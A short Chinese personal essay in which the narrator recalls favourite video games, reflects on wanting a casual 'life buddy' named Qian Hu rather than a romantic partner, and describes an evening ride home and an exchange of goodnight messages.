游戏是我的甜，我一直知道这一点。儿时的《超级玛丽》、《冒险岛》，高中时的《乐克乐克》，工作后的《动物之森》、《动物森友会》，均在低谷期陪伴着我，游戏带给我的快乐很纯粹。我对游戏相当挑剔，技术性较强的容易让我知难而退，我更看重趣味性。二一年得知《双人成行》获得TGA年度游戏大奖，我便收入囊中；可直至去年，再次开始工作，从PC辗转至Switch，我才得偿将游戏通关。
我不欲从关系中得到什么，亦没有出于孤单想要陪伴的需求。可有一个游戏搭子，并不是什么坏事。俩人若是志趣相投，成为生活搭子，也不是不可以。
对恋人的要求，在于并肩之人，可这难以避免要求世俗的成功。可生活搭子不一样，以前的种种假定，全都形同虚设。钱鹄这人，就外貌，不想作出点评；性格嘛，还在尝试了解接受；至于学识，知识和玩乐多少有些不对付；而家境，我自己比什么都靠得住。
路灯下不止有一簇簇抱团的飞虫在那排兵布阵、轮番阻隔视线、试图冲破口鼻的防线，还有那紧贴地面、匿影藏形、伺机将人吞入腹中的灯下黑。
掉头那处的红绿灯，短暂得不足十秒，加上黄灯倒计时，才可堪堪抵达对面。一面是湖，一面是围墙，回程总让人不太爽快，可又不能逆行。
热风迎面，却裹挟着我向前；有些东西，已不同于昨日。
在路口和钱鹄各走各路，将自行车扛上楼，跌坐回椅子，方落得今日份的清净。
洗澡完回到房间，看到钱鹄发来的消息：“回到家的时候，我爸爸还在等我，他坚持送我回杉湖。”
“我到家了！”
我回复：“好的。”
“今天很累了吧？我也要去洗澡了。”
他又发来一个“晚安”的表情包。
我回了一个“睡觉”的表情包。